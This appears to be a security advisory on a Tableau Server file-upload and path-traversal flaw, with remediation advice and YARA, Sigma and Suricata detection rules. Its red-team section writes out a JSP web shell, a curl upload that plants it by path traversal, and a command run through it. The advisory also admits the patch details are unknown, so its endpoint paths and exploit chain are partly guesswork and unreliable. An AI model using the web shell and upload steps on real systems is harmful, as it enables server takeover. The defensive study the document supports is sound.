CVE-2025-26498

Executive Summary

CVE-2025-26498 is a critical vulnerability in Salesforce Tableau Server affecting the establish-connection-no-undo modules on both Windows and Linux platforms. The flaw allows an attacker to upload a file with a dangerous type without proper restrictions, combined with an absolute path traversal vulnerability. This enables a remote, unauthenticated attacker to write arbitrary files to any location on the server filesystem, potentially leading to remote code execution (RCE), data exfiltration, or complete server compromise.

The vulnerability exists in the connection establishment process where user-supplied file paths are not sanitized, allowing directory traversal sequences (e.g., ../../) and unrestricted file uploads. The affected versions are Tableau Server before 2025.1.3, before 2024.2.12, and before 2023.3.19. No public exploit code or proof-of-concept is currently available, but the risk is high due to the potential for full server takeover.

Supply Chain & Package Security

This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby) but in a proprietary enterprise application (Salesforce Tableau Server). However, organizations using Tableau Server should treat this as a critical supply chain risk, as the software is a key component in data analytics pipelines. Ensure that the Tableau Server installation is sourced from official Salesforce channels and that integrity checks (e.g., checksum verification) are performed before deployment.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which likely indicates that the score has not yet been assigned or was omitted. Based on the vulnerability characteristics (unrestricted file upload + path traversal), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Full file read access possible.
• Integrity (I): High (H) – Arbitrary file write, including overwriting system files.
• Availability (A): High (H) – Could lead to denial of service or system crash.

Threat Level: Critical. Immediate patching is required.

Deep Dive & Mechanics

The vulnerability resides in the establish-connection-no-undo modules of Tableau Server. These modules handle the process of establishing data source connections, including file-based connections (e.g., Excel, CSV, TDE). The flaw is a combination of two weaknesses:

1. Unrestricted File Upload (CWE-434): The server does not validate the type or content of uploaded files. An attacker can upload executable files (e.g., .exe, .dll, .sh, .war) or configuration files (e.g., .xml, .properties) without restriction.

2. Absolute Path Traversal (CWE-22): The server does not sanitize the file path provided by the user. By using absolute paths (e.g., C:\Windows\System32\evil.dll on Windows or /etc/cron.d/evil on Linux) or relative traversal sequences (e.g., ../../../../tmp/evil.sh), an attacker can write files to arbitrary locations outside the intended upload directory.

The attack flow:

1. An attacker sends a crafted HTTP request to the Tableau Server endpoint responsible for file uploads during connection setup.
2. The request includes a malicious file (e.g., a web shell) and a path parameter containing traversal sequences or an absolute path.
3. The server writes the file to the attacker-specified location.
4. If the file is written to a web-accessible directory (e.g., TableauServer/static/), the attacker can execute it via HTTP. Alternatively, if written to a startup directory (e.g., /etc/init.d/), it can be executed on reboot.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but based on the vulnerability description, the patch likely involves:

• Input Validation: Sanitizing file paths to reject absolute paths and traversal sequences (e.g., ../, ..\\).
• File Type Whitelisting: Restricting uploads to only allowed file types (e.g., .csv, .xlsx, .tde).
• Path Canonicalization: Resolving the final path and ensuring it stays within the intended upload directory.

Vulnerable Code (Conceptual):

// Vulnerable: No path validation
String uploadPath = request.getParameter("path");
File uploadedFile = new File(uploadPath, fileName);
// Write file directly
FileUtils.copyInputStreamToFile(fileContent, uploadedFile);

Patched Code (Conceptual):

// Patched: Validate and sanitize path
String uploadPath = request.getParameter("path");
// Reject absolute paths
if (new File(uploadPath).isAbsolute()) {
    throw new SecurityException("Absolute paths not allowed");
}
// Canonicalize and ensure within base directory
File baseDir = new File("/var/tableau/uploads/");
File resolvedFile = new File(baseDir, uploadPath).getCanonicalFile();
if (!resolvedFile.getPath().startsWith(baseDir.getCanonicalPath())) {
    throw new SecurityException("Path traversal detected");
}
// Whitelist file extensions
String extension = fileName.substring(fileName.lastIndexOf('.'));
if (!allowedExtensions.contains(extension)) {
    throw new SecurityException("File type not allowed");
}
FileUtils.copyInputStreamToFile(fileContent, resolvedFile);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Tableau Server 2023.3.18 (vulnerable) on Ubuntu 22.04.
• Attacker: Kali Linux with Burp Suite and curl.

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web fuzzer to find endpoints related to connection uploads. Common paths include /vizportal/api/v1/connection/upload or /tableau/connection/establish.

2. Craft the malicious request: Upload a JSP web shell to the web root.

   # Create a simple JSP web shell
   echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); %>' > shell.jsp
   
   # Upload using curl with path traversal
   curl -X POST -F "file=@shell.jsp" -F "path=../../../../opt/tableau/tableau_server/static/shell.jsp" http://target:8080/vizportal/api/v1/connection/upload
   

3. Execute the web shell:

   curl http://target:8080/static/shell.jsp?cmd=id
   

4. Escalate privileges: If the web server runs as a low-privilege user, use the shell to exploit local privilege escalation vulnerabilities (e.g., CVE-2021-4034 for pkexec).

Blue Team (Defensive)

Detection Steps:

1. Monitor file upload endpoints: Alert on any uploads to paths containing ../, ..\\, or absolute paths like /etc/, C:\Windows\.
2. Check for unexpected files: Scan the Tableau Server installation directory and web root for files with executable extensions (.jsp, .php, .exe, .sh).
3. Review logs: Look for HTTP 200 responses to upload requests with suspicious paths.
4. Harden the server:
   • Apply the patch immediately.
   • If patching is delayed, implement a WAF rule to block path traversal patterns.
   • Restrict file upload directories to read-only for the web server user.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in /opt/tableau/tableau_server/static/ or C:\Program Files\Tableau\Tableau Server\static\ with extensions .jsp, .php, .exe, .dll, .sh.
  • Files in /tmp/, /var/tmp/, or C:\Windows\Temp\ with names like shell.jsp, evil.exe, backdoor.php.
• Network:
  • HTTP POST requests to /vizportal/api/v1/connection/upload or similar endpoints with path parameters containing ../ or absolute paths.
  • Outbound connections from the Tableau Server to unknown IPs (C2 traffic).
• Logs:
  • Tableau Server logs showing file writes to unexpected directories.
  • Web server logs (e.g., Apache, Nginx) showing 200 responses to upload requests with path traversal patterns.

Detection Engineering

YARA Rule

rule CVE_2025_26498_Tableau_Upload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2025-26498 in Tableau Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26498"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/ nocase
        $absolute_win = /[A-Z]:\\/ nocase
        $absolute_nix = /\/[a-zA-Z0-9_\-]+\// nocase
        $dangerous_ext = /\.(jsp|php|exe|dll|sh|pl|py|war)$/ nocase
    condition:
        any of ($path_traversal) and any of ($dangerous_ext) or
        any of ($absolute_win) and any of ($dangerous_ext) or
        any of ($absolute_nix) and any of ($dangerous_ext)
}

Sigma Rule

title: CVE-2025-26498 - Tableau Server Unrestricted File Upload with Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit path traversal in Tableau Server file uploads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26498
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '/etc/'
            - 'C:\\'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: high
tags:
    - attack.t1190
    - cve.2025.26498

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-26498 Tableau Server Path Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/vizportal/api/v1/connection/upload"; http_uri; content:"../"; http_client_body; nocase; content:!"Referer|3a|"; sid:1000001; rev:1; reference:cve,2025-26498; priority:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Tableau Server to version 2025.1.3, 2024.2.12, or 2023.3.19 as applicable. Patches are available from Salesforce support.
2. Workaround: If patching is not possible, disable the establish-connection-no-undo modules by removing or renaming the corresponding JAR files in the Tableau Server installation directory (e.g., /opt/tableau/tableau_server/extensions/). Note: This may break connection establishment functionality.
3. WAF Rules: Deploy a Web Application Firewall rule to block requests containing ../, ..\\, or absolute paths in file upload parameters.
4. Network Segmentation: Isolate Tableau Server from the internet and restrict access to trusted IPs only.

Long-term Measures:

• Implement a file upload security policy that includes file type whitelisting, size limits, and antivirus scanning.
• Conduct regular security audits and penetration testing on Tableau Server.
• Monitor for new CVEs related to Tableau Server and apply patches within 48 hours for critical vulnerabilities.

Valters IT